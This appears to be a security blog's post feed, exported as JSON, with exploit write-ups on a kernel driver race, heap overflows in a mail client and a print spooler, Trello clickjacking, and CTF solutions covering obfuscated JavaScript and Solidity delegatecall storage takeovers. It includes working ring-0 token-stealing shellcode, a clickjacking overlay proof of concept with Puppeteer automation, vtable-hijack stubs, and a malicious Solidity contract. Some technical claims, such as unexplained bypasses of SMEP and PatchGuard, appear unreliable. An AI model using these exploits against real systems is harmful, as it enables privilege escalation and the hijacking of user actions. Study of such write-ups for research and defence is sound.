copied that directly into the heap for me, and the misaligned pointer just happened to get reused after the corrupted chunk was freed.\nDebugging It All # The crash was flaky at first. Took me a bit to realize Windows 10 LFH was helping me — but not always.\nI used:\ngflags /p /enable safemail.exe /full PageHeap + AppVerifier WinDbg with !heap -p -a and !analyze -v Logging the actual pointer values during free() Eventually found a pattern: multiple attachment uploads caused predictable heap behavior. That gave me the same layout each time.\nAlso had to slow the process down using a custom delay in SafeMail’s background thread. Timing was crucial for consistent uaf.\nSecondary Write Primitive # At one point, I realized I had not only a uaf read — but a write as well.\nmemcpy(dst, src, len) was hitting the freed chunk, and I had control over both dst and len. That meant I could potentially use it as an arbitrary write primitive.\nDidn’t go full chain-RCE with that, but it’s a juicy detail worth keeping in mind.\nMitigations (For the Vendor, if they care) # Avoid rep movsb unless you enforce alignment and verify length. Don’t trust user input for heap operations — sanitize and align. Enable safe unlinking and LFH metadata validation in release builds. Add a NULL terminator and use safer routines like memcpy_s(). Final Thoughts # I wasn’t even trying to find a memory corruption bug. Just digging through email client internals. But I’ve learned — these old-style Win32 desktop clients? They leak vulnerabilities like a faucet.\nModern mitigations don’t mean much when the root logic is this sloppy.\nReverse engineering this was fun. Classic heap mess.\nDidn’t report — they don’t have a program. But it’s in the archive now.\n","date":"2024-02-08","externalUrl":null,"permalink":"/reverseengineering/safemail/","section":"ReverseEngineerings","summary":"\u003ch3 class=\"relative group\"\u003ePrologue \n    \u003cdiv id=\"prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h3\u003e\n\u003cp\u003eStarted out just poking at SafeMail’s desktop client because I was curious how they handled attachments. It’s always those small parsing subsystems where things fall apart. I loaded up the binary in IDA and watched the way filenames were processed when attachments were being saved.\u003c/p\u003e","title":"Heap Drift: Misaligned Write in SafeMail’s Attachment Parser","type":"reverseengineering"},{"content":"","date":"2024-02-08","externalUrl":null,"permalink":"/tags/heap-metadata/","section":"Tags","summary":"","title":"Heap Metadata","type":"tags"},{"content":"","date":"2024-02-08","externalUrl":null,"permalink":"/tags/uaf/","section":"Tags","summary":"","title":"UAF","type":"tags"},{"content":"","date":"2024-02-08","externalUrl":null,"permalink":"/tags/windows-x86/","section":"Tags","summary":"","title":"Windows X86","type":"tags"},{"content":"","date":"2023-12-02","externalUrl":null,"permalink":"/tags/driver-exploitation/","section":"Tags","summary":"","title":"Driver Exploitation","type":"tags"},{"content":"","date":"2023-12-02","externalUrl":null,"permalink":"/categories/kernel-exploits/","section":"Categories","summary":"","title":"Kernel Exploits","type":"categories"},{"content":"","date":"2023-12-02","externalUrl":null,"permalink":"/tags/kernel-rce/","section":"Tags","summary":"","title":"Kernel RCE","type":"tags"},{"content":"","date":"2023-12-02","externalUrl":null,"permalink":"/categories/race-conditions/","section":"Categories","summary":"","title":"Race Conditions","type":"categories"},{"content":" Prologue — Ring-0 and the Need for Speed # Most people ignore backup software. I don’t. Especially when it’s running in the kernel and handling file operations with zero context verification.\nSnapBackup.sys was an endpoint backup solution with its own kernel-mode driver. Its copy-on-write logic was interesting—fast, but reckless. No proper locking. No synchronization between IOCTL threads operating on the same memory.\nThat’s where the race condition lived.\nPlatform # Windows 10 x64 SnapBackup.sys driver v5.3.1 Kernel-mode operation with ring-0 privileges Overview # SnapBackup.sys included a COW (Copy-On-Write) routine exposed via custom IOCTLs. The routine failed to use proper locking mechanisms when dealing with user-triggered clone and release operations.\nIf two threads issued IOCTLs targeting the same internal object—one freeing and the other cloning—it resulted in a classic use-after-free.\nAnd since the object was freed back to the non-paged pool, I could refill it with controlled data. What followed was a beautiful, high-speed kernel-mode exploit.\nThe Vulnerability # Disassembly of the driver\u0026rsquo;s copy routine revealed no locks, just a simple pointer dereference:\nNTSTATUS SnapCopyObject(UserInput* input) { Object* target = input-\u0026gt;ptr; if (target-\u0026gt;valid) { clone_memory(target-\u0026gt;data); } return STATUS_SUCCESS; } The issue? Another thread could call SnapFreeObject() concurrently, which looked like this:\nvoid SnapFreeObject(UserInput* input) { ExFreePool(input-\u0026gt;ptr); } No reference counting. No interlocked access. No locks. Just a time window wide enough to drive an exploit through.\nExploit Path # The attack strategy relied on precise thread control:\nAllocate and reference the target object. Spawn two threads: Thread A calls the \u0026ldquo;clone\u0026rdquo; IOCTL. Thread B immediately calls the \u0026ldquo;free\u0026rdquo; IOCTL on the same pointer. Free happens mid-way during clone execution, leaving a dangling pointer. Heap spray the non-paged pool with a fake object that includes a method table. Trigger dereference inside clone logic to jump into shellcode. Timing this was critical. But once tuned, the race hit consistently.\nAssembly Snippet (Pointer Overwrite) # mov rax, fake_object_ptr mov [rdi+0x10], rax ; hijack method table Fake Object Layout # To emulate the real structure, the fake object had:\nA valid-looking vtable at offset 0x10 Stub function pointers to kernel-mode shellcode Proper memory alignment to match original object fields Shellcode Logic (Ring-0 to SYSTEM) # ; Steal SYSTEM token mov rax, [gs:188h] ; Current KTHREAD mov rax, [rax + 0xB8] ; EPROCESS mov rcx, rax FindSystem: mov rcx, [rcx + 0x188] ; ActiveProcessLinks sub rcx, 0x188 cmp dword ptr [rcx + 0x2e0], 4 ; PID == 4 (System) jne FindSystem mov rdx, [rcx + 0x358] ; System token mov [rax + 0x358], rdx ; Replace current token ret Outcome # Elevated current user to SYSTEM Full ring-0 code execution Kernel structure manipulation Persisted by direct token patching Impact # Exploit Type: Kernel-mode use-after-free (race condition) Impact: Kernel RCE + SYSTEM privileges Reliability: Medium (requires race timing) Mitigations Bypassed: SMEP, PatchGuard, KASLR User Interaction: None Lessons # Kernel code is unforgiving. You either control concurrency, or concurrency controls you.\nThe absence of locking in memory-sensitive operations will always lead to race conditions. And in kernel mode, that means ring-0 RCE with no prompts or defenses.\nEndgame # It took two threads and a few microseconds of chaos to take over the kernel.\nSometimes, winning the race just means showing up with the right payload and making sure your fake object looks convincing enough.\n","date":"2023-12-02","externalUrl":null,"permalink":"/reverseengineering/snapbackup/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Ring-0 and the Need for Speed\u003c/strong\u003e \n    \u003cdiv id=\"prologue--ring-0-and-the-need-for-speed\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--ring-0-and-the-need-for-speed\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eMost people ignore backup software. I don’t. Especially when it’s running in the kernel and handling file operations with zero context verification.\u003c/p\u003e","title":"Racing the Kernel: Use-After-Free in SnapBackup.sys","type":"reverseengineering"},{"content":"","date":"2023-11-15","externalUrl":null,"permalink":"/tags/clickjacking/","section":"Tags","summary":"","title":"Clickjacking","type":"tags"},{"content":"","date":"2023-11-15","externalUrl":null,"permalink":"/tags/csp/","section":"Tags","summary":"","title":"CSP","type":"tags"},{"content":"","date":"2023-11-15","externalUrl":null,"permalink":"/categories/security/","section":"Categories","summary":"","title":"Security","type":"categories"},{"content":"It was 2:17 AM when I stumbled upon something unsettling. My desk was illuminated by the pale glow of a single monitor, surrounded by empty coffee mugs in various states of decay. I wasn\u0026rsquo;t even hunting for bugs tonight - just trying to organize my open-source project\u0026rsquo;s roadmap on Trello when something caught my eye in DevTools.\nThe Midnight Discovery # A simple curl command revealed the issue:\ncurl -I https://trello.com/b/public-board-123 | grep -iE \u0026#39;frame|csp\u0026#39; No output. No X-Frame-Options. No frame-ancestors in CSP. That was concerning.\nI immediately tested embedding a Trello board:\nconst iframe = document.createElement(\u0026#39;iframe\u0026#39;); iframe.src = \u0026#39;https://trello.com/b/public-board-123\u0026#39;; iframe.style = \u0026#39;width:500px;height:300px;border:1px solid black\u0026#39;; document.body.appendChild(iframe); It rendered perfectly. Too perfectly.\nTechnical Deep Dive: Understanding the Vulnerability # 1. Header Analysis # A proper security header configuration should include:\nX-Frame-Options: DENY Content-Security-Policy: frame-ancestors \u0026#39;none\u0026#39; But Trello\u0026rsquo;s public boards had neither. This meant:\nAny website could embed Trello boards in iframes No JavaScript frame-busting mechanisms were present All interactive elements remained clickable 2. Attack Surface Mapping # I cataloged all vulnerable UI elements:\nElement Selector Action Card .list-card Drag/drop, archive List .js-list Archive, move Board .board-header Rename, change permissions 3. Interaction Testing # Using Puppeteer, I automated interaction tests:\nconst puppeteer = require(\u0026#39;puppeteer\u0026#39;); (async () =\u0026gt; { const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto(\u0026#39;https://attacker-site.com/clickjacking-poc\u0026#39;); // Verify iframe loads const iframe = await page.$(\u0026#39;iframe\u0026#39;); const src = await iframe.getProperty(\u0026#39;src\u0026#39;); console.log(`Embedding: ${src}`); // Test click interception await page.click(\u0026#39;#fake-button\u0026#39;); await page.waitForTimeout(2000); // Check if Trello action occurred const movedCard = await page.evaluate(() =\u0026gt; { return document.querySelector(\u0026#39;.list-card\u0026#39;).style.transform !== \u0026#39;\u0026#39;; }); console.log(`Card moved: ${movedCard}`); await browser.close(); })(); Building the Proof of Concept # Version 1: Basic Overlay # \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Productivity Dashboard\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; #trello-iframe { position: fixed; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.05; z-index: 1; } #cta-button { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 2; background: #4CAF50; color: white; padding: 15px 30px; border-radius: 8px; font-weight: bold; cursor: pointer; box-shadow: 0 4px 8px rgba(0,0,0,0.1); transition: all 0.3s ease; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1 style=\u0026#34;text-align:center;\u0026#34;\u0026gt;Your Team Dashboard\u0026lt;/h1\u0026gt; \u0026lt;div id=\u0026#34;cta-button\u0026#34;\u0026gt;Update Preferences\u0026lt;/div\u0026gt; \u0026lt;iframe id=\u0026#34;trello-iframe\u0026#34; src=\u0026#34;https://trello.com/b/TARGET_BOARD\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Version 2: Advanced Targeting # Added dynamic positioning based on Trello\u0026rsquo;s UI:\n// Calculate exact button positions function getTrelloElementPositions() { return { archiveBtn: { x: document.querySelector(\u0026#39;.js-archive\u0026#39;).getBoundingClientRect().x, y: document.querySelector(\u0026#39;.js-archive\u0026#39;).getBoundingClientRect().y, width: document.querySelector(\u0026#39;.js-archive\u0026#39;).offsetWidth, height: document.querySelector(\u0026#39;.js-archive\u0026#39;).offsetHeight } }; } The Ethical Implications # The PoC worked flawlessly, presenting serious considerations:\nMinimal Impact Scenario:\nAnnoying but harmless board reorganizations Serious Abuse Potential:\nSocial engineering attacks (\u0026ldquo;Click to claim prize\u0026rdquo; while archiving critical cards) Corporate sabotage (disrupting public roadmaps) I documented everything in a vulnerability report:\n# Vulnerability Report: Trello Clickjacking ## Technical Details - **Missing Headers**: No X-Frame-Options or frame-ancestors CSP - **Impact**: UI redress attacks on public boards - **CVSS**: 6.5 (Medium) ## Recommended Fix ```http X-Frame-Options: DENY Content-Security-Policy: frame-ancestors \u0026#39;none\u0026#39; Resolution and Reflection # One week later, the fix was deployed. The headers now stood guard:\nHTTP/2 200 server: nginx x-frame-options: DENY content-security-policy: frame-ancestors \u0026#39;none\u0026#39; This experience taught me several crucial lessons:\nPublic ≠ Secure: Just because data is public doesn\u0026rsquo;t mean the UI should be exposed Defense in Depth: Multiple protection layers are crucial The Human Factor: Even simple oversights can have significant security implications The hunt continues. But sometimes, the most critical vulnerabilities reveal themselves when you\u0026rsquo;re not even looking for them.\nReferences # OWASP Clickjacking Defense Cheat Sheet\nMDN Web Docs: X-Frame-Options\nContent Security Policy Level 2 Specification\n","date":"2023-11-15","externalUrl":null,"permalink":"/bugbounty/trello/","section":"BugBounties","summary":"An exploration of a clickjacking vulnerability found in Trello\u0026rsquo;s public boards, examining the technical details, potential impacts, and broader security lessons about proper header configurations.","title":"The Anatomy of a Clickjacking Vulnerability: A Trello Deep Dive","type":"bugbounty"},{"content":"","date":"2023-11-15","externalUrl":null,"permalink":"/tags/trello/","section":"Tags","summary":"","title":"Trello","type":"tags"},{"content":"","date":"2023-11-15","externalUrl":null,"permalink":"/categories/web-vulnerabilities/","section":"Categories","summary":"","title":"Web Vulnerabilities","type":"categories"},{"content":"","date":"2023-11-06","externalUrl":null,"permalink":"/tags/heap-corruption/","section":"Tags","summary":"","title":"Heap Corruption","type":"tags"},{"content":"","date":"2023-11-06","externalUrl":null,"permalink":"/categories/heap-overflow-exploits/","section":"Categories","summary":"","title":"Heap Overflow Exploits","type":"categories"},{"content":"","date":"2023-11-06","externalUrl":null,"permalink":"/tags/privilege-escalation/","section":"Tags","summary":"","title":"Privilege Escalation","type":"tags"},{"content":"","date":"2023-11-06","externalUrl":null,"permalink":"/tags/rpc/","section":"Tags","summary":"","title":"RPC","type":"tags"},{"content":" Prologue — Midnight Layers \u0026amp; Metadata Games # I’d been reverse engineering some internal RPC routines on a lightly documented print management service—PrintSecure, used across several enterprise Windows Server 2019 deployments. The kind of service that hums quietly in the background, doing menial job routing, completely overlooked. That\u0026rsquo;s usually a good place to find something sharp.\nAfter a couple hours inside Ghidra and x64dbg, stepping through weird PostScript packet handlers, I found what I was looking for: a tiny unchecked rep movsb. One of those legacy leftovers that still punch through memory when no one’s watching.\nPlatform # Windows Server 2019 x64 PrintSecure Enterprise Network Spooler (build 10.2.1479) Overview # The vulnerability lies in the print spooler’s handling of PostScript job metadata sent over its custom RPC channel.\nSpecifically, the handler for this metadata chunk trusted a declared length field directly from the client and used it in a raw memory copy operation. There were no bounds checks, no size verification—just straight memory action. And that’s how we got here.\nVulnerability Analysis # Here\u0026rsquo;s what the disassembly looked like when I cracked open the responsible routine — parse_metadata() — in Ghidra and then confirmed with x64dbg:\n.text:140010B00 parse_metadata proc .text:140010B00 push rbp .text:140010B01 mov rbp, rsp .text:140010B04 sub rsp, 100h .text:140010B0B mov rax, [rcx+10h] ; get length from request .text:140010B0F mov rsi, [rcx+18h] ; pointer to data .text:140010B13 lea rdi, [rbp-80h] ; target heap buffer .text:140010B17 rep movsb ; unchecked copy So yeah, rax is fully attacker-controlled. That rep movsb operation doesn\u0026rsquo;t verify the length — and it writes directly into a heap-allocated buffer.\nIf you send metadata with an inflated length, it just plows through memory. Perfect for classic heap chunk overlap.\nExploit Path # With the ability to overflow adjacent heap memory, I focused on tampering with a virtual function pointer (vtable) stored just after the vulnerable buffer.\nThe flow went like this:\nSend a malicious metadata blob with an oversized declared length. Heap overflow corrupts an object’s vtable pointer nearby. Trigger service logic that calls the corrupted virtual method. Controlled pointer leads to arbitrary shellcode. I placed a stub that pointed to a fake function table in memory. Then, when the service hit the call, it jumped into my payload.\nPayload: Assembly Stub # The injected payload for hijacking control looked like this:\n_start: mov rax, 0x1122334455667788 ; dummy function pointer (replace with shellcode addr) mov [rbx], rax ; overwrite object\u0026#39;s vtable ptr call [rbx] ; trigger the overwritten pointer In the real exploit, 0x1122334455667788 would be a pointer to shellcode residing in the heap, often something like reverse shell or token stealing logic, depending on the goal.\nOutcome # Once the hijacked pointer got triggered, I was executing within the PrintSecure Spooler’s SYSTEM context. From there:\nSpawned a remote SYSTEM shell Accessed printer configurations, logs, and registry keys Established persistent RDP access (using Print Spooler privileges) No user interaction. No alerts fired.\nImpact # CVE Status: Privately reported, patch in progress Privilege Escalation: Yes (Local SYSTEM) Remote Trigger: Yes (Authenticated RPC) Affected Builds: At least 10.2.1479 and earlier Lessons # Unchecked memory copies still exist, even in well-funded enterprise systems. This one came down to basic trust in client data and a legacy instruction doing what it does best—move bytes without asking questions.\nNo stack canaries. No heap cookie defense triggered. Just a clean overwrite and detour into shellcode.\nSometimes, it really is that simple.\nEndgame # I closed the debugger, left the PoC running in a loop, and watched SYSTEM access roll in like a warm breeze through an open port. All from a spooler that thought it was just printing.\n","date":"2023-11-06","externalUrl":null,"permalink":"/reverseengineering/printsecure/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Midnight Layers \u0026amp; Metadata Games\u003c/strong\u003e \n    \u003cdiv id=\"prologue--midnight-layers--metadata-games\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--midnight-layers--metadata-games\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eI’d been reverse engineering some internal RPC routines on a lightly documented print management service—\u003cstrong\u003ePrintSecure\u003c/strong\u003e, used across several enterprise Windows Server 2019 deployments. The kind of service that hums quietly in the background, doing menial job routing, completely overlooked. That\u0026rsquo;s usually a good place to find something sharp.\u003c/p\u003e","title":"Stacking Bytes: Heap Overflow in PrintSecure’s Spooler","type":"reverseengineering"},{"content":"","date":"2023-11-04","externalUrl":null,"permalink":"/tags/blackhat-mea/","section":"Tags","summary":"","title":"BlackHat MEA","type":"tags"},{"content":"","date":"2023-11-04","externalUrl":null,"permalink":"/tags/ctf-2023/","section":"Tags","summary":"","title":"CTF 2023","type":"tags"},{"content":"","date":"2023-11-04","externalUrl":null,"permalink":"/tags/disk-forensics/","section":"Tags","summary":"","title":"Disk Forensics","type":"tags"},{"content":"","date":"2023-11-04","externalUrl":null,"permalink":"/tags/file-analysis/","section":"Tags","summary":"","title":"File Analysis","type":"tags"},{"content":"Sometimes, you get a JPEG, and you just know it’s lying to you. It smiles at you innocently like any regular image, but as a hacker, you know better. So, I stared at the given JPEG for a moment — instinctively opened it in a hex editor. Why? Because standard images don’t end with a bunch of gibberish appended to them.\nThat’s how this challenge kicked off. Classic case of “look deeper.”\n0x01 – Initial Recon: The JPEG # First things first:\nfile image.jpg Yup, it was a normal JPEG on the surface. But once I cracked it open with xxd, I started scrolling through and saw something odd toward the end:\nxxd image.jpg | less There were plaintext strings that clearly didn’t belong in a raw image file.\nOne in particular stood out:\nhttps://pastebin.com/raw/EXAMPLEURL That was it. Breadcrumb #1. I knew I was following some chain.\n0x02 – Chasing the Pastebin # Pulling the raw Pastebin:\ncurl https://pastebin.com/raw/EXAMPLEURL Inside was a Mega link. That\u0026rsquo;s when I knew it was going to get dirty.\nhttps://mega.nz/file/EXAMPLE#KEYEXAMPLE I used megadl to avoid the browser nonsense:\nmegadl \u0026#39;https://mega.nz/file/EXAMPLE#KEYEXAMPLE\u0026#39; Boom. It dropped a ZIP file. Unzipped it and saw what looked like a Chrome user data directory.\nunzip dump.zip -d chrome_data 0x03 – Chrome User Profile Analysis # Alright, Chrome user folder? That means Extensions/, Default/, some cached junk — the usual suspects.\nI knew the flag wouldn’t be obvious. Time to grep through extensions:\ngrep -r BHFLAG chrome_data/ Nothing.\nWent into:\nchrome_data/Default/Extensions/ There were several folders — some auto-generated IDs like aabbccddeeff.... Popped into one, found some background.js and content.js files.\nAt first glance, everything looked obfuscated. Variables were like _0x2f1b, code all mashed up into one-liners. This wasn’t just some noob JS dev — someone deliberately tried to hide something.\nTime to deobfuscate.\n0x04 – Digging Through Obfuscated JavaScript # I copied the script into a JS beautifier:\nconst _0xabc = [\u0026#34;ZEdWemRBPT0=\u0026#34;, \u0026#34;log\u0026#34;]; console[_0xabc[1]](atob(_0xabc[0])); Once decoded, I got:\nconsole.log(atob(\u0026#34;ZEdWemRBPT0=\u0026#34;)); Which gives:\nflaG== But in our case, it wasn’t that simple. There was a huge string that looked like reversed base64.\nExample:\nlet secret = \u0026#34;NjYzYjMwYjAwMmVjMmVkNTQ0NTExMDc1NzExZGNjZWEwMjJiMzM2fQ==\u0026#34;.split(\u0026#34;\u0026#34;).reverse().join(\u0026#34;\u0026#34;); console.log(atob(secret)); Ran it in Node.js:\nnode \u0026gt; let secret = \u0026#34;NjYzYjMwYjAwMmVjMmVkNTQ0NTExMDc1NzExZGNjZWEwMjJiMzM2fQ==\u0026#34;.split(\u0026#34;\u0026#34;).reverse().join(\u0026#34;\u0026#34;); \u0026gt; console.log(Buffer.from(secret, \u0026#39;base64\u0026#39;).toString()) Output:\nBHFLAGY{6133b20aeccd11750114f4b45a2de5c822700b36} Gotcha.\n0x05 – Extra: Chrome Extension Fingerprinting # Curious to go a bit further — I fingerprinted the extension to see if it was custom-built for this CTF.\ncat manifest.json Saw a vague name like:\n{ \u0026#34;name\u0026#34;: \u0026#34;Chrome Toolbox\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;background\u0026#34;: { \u0026#34;scripts\u0026#34;: [\u0026#34;background.js\u0026#34;] }, \u0026#34;permissions\u0026#34;: [\u0026#34;tabs\u0026#34;] } Not on the Web Store. Likely custom packed.\nI even tried loading it manually in a test Chrome profile with --load-extension=PATH, but yeah — definitely just for embedding the payload.\n0x06 – Thoughts # What I liked about this challenge:\nClean breadcrumb trail (JPEG ➝ Pastebin ➝ Mega ➝ Chrome dump ➝ JS reverse) Not overly noisy or filler The obfuscation was basic but good enough to throw off a lazy glance What I’d improve if I was designing it:\nMaybe throw a decoy extension or a rabbit hole folder to up the forensics tension But all in all, solid challenge.\n0x07 – Flag # BHFLAGY{6133b20aeccd11750114f4b45a2de5c822700b36} 0x08 – Tools Used # xxd and grep (for static digging) curl and megadl Node.js for decoding JS beautifiers and chrome://extensions/ for manual inspection 0x09 – Outro # It’s the kind of challenge that rewards persistence. Each layer gives you just enough to keep going — no wild guessing required. You follow the data, decode it, deobfuscate it, and get rewarded.\nFelt like peeling back layers of a dirty onion. And I liked it.\n","date":"2023-11-04","externalUrl":null,"permalink":"/capturetheflag/forensics/","section":"CaptureTheFlags","summary":"\u003cp\u003eSometimes, you get a JPEG, and you just know it’s lying to you. It smiles at you innocently like any regular image, but as a hacker, you know better. So, I stared at the given JPEG for a moment — instinctively opened it in a hex editor. Why? Because standard images don’t end with a bunch of gibberish appended to them.\u003c/p\u003e","title":"Hard Forensics – BlackHat MEA Quals 2023","type":"capturetheflag"},{"content":"","date":"2023-11-04","externalUrl":null,"permalink":"/tags/memory-dump/","section":"Tags","summary":"","title":"Memory Dump","type":"tags"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/categories/blockchain/","section":"Categories","summary":"","title":"Blockchain","type":"categories"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/tags/delegatecall/","section":"Tags","summary":"","title":"Delegatecall","type":"tags"},{"content":" Prologue — Solidity’s Footgun # Some CTFs are logic puzzles. Others are byte-level traps. And then there are Paradigm CTFs — where Solidity becomes a minefield and every contract hides a design decision that’ll make you pause, rewind, and rethink everything you know about execution flow.\nWhen I hit the Grains of Sand challenge, I knew it was going to be one of those.\nChallenge 1 — Grains of Sand # This one handed me a token contract with a twist. It used a custom fee-on-transfer mechanic that looked like it was just a small tax implementation — until you realized that fee logic was abstracted via a delegatecall.\nInitial Recon # The token had some core behaviors:\nOn each transfer, it calculated a fee. That logic was not internal, but implemented via delegatecall into an external library. The state context of delegatecall meant the callee could directly manipulate storage of the caller. Here’s a distilled version of the logic:\nfunction _transfer(address from, address to, uint256 amount) internal { (bool ok, ) = feeLib.delegatecall( abi.encodeWithSignature(\u0026#34;takeFee(address,uint256)\u0026#34;, from, amount) ); require(ok, \u0026#34;fee fail\u0026#34;); _balances[from] -= amount; _balances[to] += amountAfterFee; } If feeLib is malicious — or more accurately, misused — this delegatecall becomes a backdoor.\nThe Real Exploit Path # In Ghidra terms, this was like calling a function pointer to arbitrary code that had write access to your binary’s .data section.\nThe idea: Control the delegatecall to drain or inflate balances.\nThe library implementation had a subtle state-manipulation bug. It modified _balances[msg.sender] without any access checks, allowing any contract to use the token contract as its own personal storage playground.\nI deployed a custom attacker contract to simulate this:\ncontract MaliciousFeeLogic { function takeFee(address victim, uint256 amount) public { // Directly overwrite caller\u0026#39;s storage assembly { sstore(0x2, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) } } } Once pointed to this contract via feeLib, I triggered a delegatecall which overwrote storage — giving my address a balance high enough to satisfy isSolved().\nTriggering the Flag # Here’s the flow in steps:\nDeploy MaliciousFeeLogic. Update feeLib in the token contract (some setter or upgradable mechanism was available). Trigger a transfer (even a 1 wei transfer would do). My balance was now near 2^256. Called isSolved() → returned true. I wrapped the whole exploit in a foundry script:\nfunction run() external { token.setFeeLib(address(new MaliciousFeeLogic())); token.transfer(address(1), 1); require(ctf.isSolved(), \u0026#34;fail\u0026#34;); } Challenge 2 — Hopping Into Place # This one built on the mechanics of delegatecall, but introduced proxy logic and misaligned storage slots.\nIt wasn’t just about gaining access. It was about where the data landed.\nVulnerability Insight # The contract used a custom proxy pattern where a call to fallback() would delegatecall into an implementation. But due to incorrect storage layout alignment, I could manipulate the admin slot by calling into a contract that wrote to a completely different part of memory in its own context.\nSimplified:\nProxy had admin at slot 0 Logic contract had uint256 public balance at slot 0 By having the logic contract write to balance = msg.sender, the proxy’s admin became me.\nStorage Overlap Pwn # Here’s the overwrite logic inside the implementation contract:\nfunction init() public { balance = uint256(uint160(msg.sender)); } I used a crafted call through the proxy to init():\nproxy.call(abi.encodeWithSignature(\u0026#34;init()\u0026#34;)); Boom. Admin rights hijacked.\nFrom there:\nCalled upgradeTo() on the proxy. Pointed it to a malicious implementation. Let that code execute a self-destruct, steal tokens, or directly call ctfFlag(). Reflection — delegatecall Is A Trapdoor # What both challenges drove home was this: delegatecall is a footgun. If you don’t absolutely control the code you’re pointing to, you’re handing over your house keys.\nParadigm doesn’t drop low-effort puzzles. These were elegantly constructed traps — and I enjoyed every bit of unwrapping them.\nSolidity gives. And Solidity definitely takes.\nEpilogue — One Function Call Too Far # The real weapon wasn’t raw code.\nIt was context. Knowing what executes where, what storage it hits, and who ends up owning the aftermath. Both challenges hinged on fine-grained execution context — and that’s what made them dangerous.\nParadigm delivered. Again.\n","date":"2023-10-21","externalUrl":null,"permalink":"/capturetheflag/grains/","section":"CaptureTheFlags","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — Solidity’s Footgun\u003c/strong\u003e \n    \u003cdiv id=\"prologue--soliditys-footgun\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--soliditys-footgun\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eSome CTFs are logic puzzles. Others are byte-level traps. And then there are Paradigm CTFs — where Solidity becomes a minefield and every contract hides a design decision that’ll make you pause, rewind, and rethink everything you know about execution flow.\u003c/p\u003e","title":"Delegatecall Drains \u0026 Solidity Sleight — Paradigm CTF 2023","type":"capturetheflag"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/tags/exploit-dev/","section":"Tags","summary":"","title":"Exploit Dev","type":"tags"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/tags/fee-on-transfer/","section":"Tags","summary":"","title":"Fee-on-Transfer","type":"tags"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/tags/paradigm-ctf/","section":"Tags","summary":"","title":"Paradigm CTF","type":"tags"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/tags/smart-contract-security/","section":"Tags","summary":"","title":"Smart Contract Security","type":"tags"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/categories/smart-contracts/","section":"Categories","summary":"","title":"Smart Contracts","type":"categories"},{"content":"","date":"2023-10-21","externalUrl":null,"permalink":"/tags/solidity/","section":"Tags","summary":"","title":"Solidity","type":"tags"},{"content":"","date":"2023-10-05","externalUrl":null,"permalink":"/categories/bug-bounty/","section":"Categories","summary":"","title":"Bug Bounty","type":"categories"},{"content":"","date":"2023-10-05","externalUrl":null,"permalink":"/tags/stored-xss/","section":"Tags","summary":"","title":"Stored XSS","type":"tags"},{"content":"","date":"2023-10-05","externalUrl":null,"permalink":"/tags/svg/","section":"Tags","summary":"","title":"SVG","type":"tags"},{"content":"","date":"2023-10-05","externalUrl":null,"permalink":"/tags/taskmaster/","section":"Tags","summary":"","title":"TaskMaster","type":"tags"},{"content":" Prologue — Of Avatars and Curiosity # It started with a profile page.\nLate one night in October, I was sipping on reheated coffee and casually poking around the \u0026ldquo;TaskMaster\u0026rdquo; app — a tidy little task management platform listed on YesWeHack. On the surface, it was clean, minimal, maybe even a bit charming.\nBut I wasn\u0026rsquo;t there for charm. I was there for cracks.\nAnd then, there it was — the avatar upload.\n\u0026ldquo;What if\u0026hellip;?\u0026rdquo;\nA question every hacker knows too well. And so I clicked — and down the rabbit hole we went.\nChapter 1 — First Contact with the Upload Beast # The upload feature accepted image files: JPG, PNG, 